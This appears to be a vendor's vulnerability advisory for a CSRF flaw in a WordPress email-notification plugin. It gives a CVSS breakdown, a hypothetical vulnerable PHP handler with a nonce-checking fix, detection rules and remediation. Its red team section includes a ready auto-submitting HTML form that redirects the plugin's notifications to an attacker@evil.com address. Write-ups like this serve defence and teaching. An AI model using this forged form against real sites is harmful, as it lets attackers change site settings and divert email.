CVE-2025-30816
Executive Summary
CVE-2025-30816 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin publish post email notification by Nks, affecting versions up to and including 1.0.2.3. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions (e.g., changing plugin settings, sending unauthorized email notifications) via a crafted request. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known public exploit or patch. As a WordPress plugin vulnerability, it is part of the broader WordPress ecosystem and must be addressed within that context.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not currently patched, and no OSV or GitHub advisory data is available. Users should monitor the plugin’s update channel and consider disabling the plugin until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must be logged in as admin and click a malicious link)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (attacker can perform state-changing actions)
- Availability Impact: None
Threat Level: Medium. Exploitation requires social engineering to trick an admin, but the impact is limited to unauthorized actions within the plugin’s scope.
Deep Dive & Mechanics
The vulnerability resides in the publish post email notification plugin, which sends email notifications when posts are published. The plugin fails to implement CSRF tokens or other anti-CSRF mechanisms in its administrative actions. An attacker can craft a malicious HTML page or link that, when visited by an authenticated WordPress admin, triggers a state-changing request (e.g., modifying plugin settings, sending test emails, or enabling/disabling features) without the admin’s consent.
Root Cause: Lack of CSRF nonce validation in admin-facing forms and AJAX handlers. The plugin does not verify that the request originated from the intended admin session.
Attack Flow:
- Attacker identifies a target WordPress site running the vulnerable plugin.
- Attacker crafts a malicious link or embeds a hidden form on an external site.
- Attacker lures an authenticated admin to click the link or visit the page.
- The admin’s browser sends a forged request to the WordPress site, executing the attacker’s desired action (e.g., changing email settings).
- The plugin processes the request without CSRF validation.
Vulnerable vs. Patched Code
Since no patch is available, we analyze the vulnerable code pattern. The plugin likely uses functions like admin_post or wp_ajax_ hooks without nonce verification.
Vulnerable Code Example (PHP):
add_action('admin_post_save_email_settings', 'save_email_settings');
function save_email_settings() {
// No nonce check
update_option('publish_post_email_notification_settings', $_POST);
wp_redirect(admin_url('options-general.php?page=publish-post-email-notification'));
}
Patched Code (Hypothetical):
add_action('admin_post_save_email_settings', 'save_email_settings');
function save_email_settings() {
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'save_email_settings_nonce')) {
wp_die('CSRF validation failed.');
}
update_option('publish_post_email_notification_settings', $_POST);
wp_redirect(admin_url('options-general.php?page=publish-post-email-notification'));
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target WordPress site with plugin version <= 1.0.2.3
- Authenticated admin session (victim)
Exploit Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-post.php?action=save_email_settings). - Craft a malicious HTML page that auto-submits a form to the endpoint with desired parameters.
- Host the page and send the link to the victim admin via email or social engineering.
- When the admin visits the page, the form submits, changing plugin settings.
Example Malicious HTML:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=save_email_settings" method="POST" id="csrf-form">
<input type="hidden" name="email_to" value="attacker@evil.com">
<input type="hidden" name="subject" value="Hacked">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
Blue Team
Detection & Prevention:
- Monitor for unexpected changes to plugin settings via audit logs.
- Implement Web Application Firewall (WAF) rules to block requests lacking Referer headers or containing suspicious parameters.
- Educate admins to avoid clicking untrusted links while logged in.
- Use browser extensions that block CSRF attacks (e.g., CSRF Protector).
Lab Setup:
- Install WordPress with the vulnerable plugin in a sandbox environment.
- Use a tool like Burp Suite to intercept and replay requests.
- Simulate the attack by sending the crafted HTML to a test admin account.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-post.phpwith action parameter related to the plugin (e.g.,save_email_settings) without a valid nonce. - Logs: WordPress debug logs showing unexpected plugin setting changes.
- File: Presence of malicious HTML files on external servers targeting the plugin’s endpoints.
- Behavior: Unauthorized email notifications sent from the site to unknown addresses.
Detection Engineering
YARA Rule
rule detect_csrf_publish_post_email_notification {
meta:
description = "Detects CSRF exploitation attempts against publish post email notification plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-30816"
strings:
$action = "admin-post.php?action="
$plugin_param = "publish-post-email-notification"
$csrf_form = "<form action="
condition:
all of them
}
Sigma Rule
title: CSRF Exploitation Attempt Against publish post email notification
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the vulnerable plugin without CSRF tokens
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-post.php'
cs-uri-query|contains: 'action=save_email_settings'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30816 CSRF Attempt - publish post email notification"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=save_email_settings"; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Implement a Web Application Firewall (WAF) rule to block requests to
/wp-admin/admin-post.phpwithout a valid Referer header. - Enforce CSRF tokens manually by adding nonce checks to all admin actions (see patched code example).
Long-term Fix:
- The vendor must release a patched version (e.g., 1.0.2.4) that includes WordPress nonce verification for all admin-facing actions.
- Users should update to the latest version once available.
Workarounds:
- Use a security plugin like Wordfence that adds CSRF protection.
- Restrict admin access to trusted IPs only.
Valters IT
Securing Digital Frontiers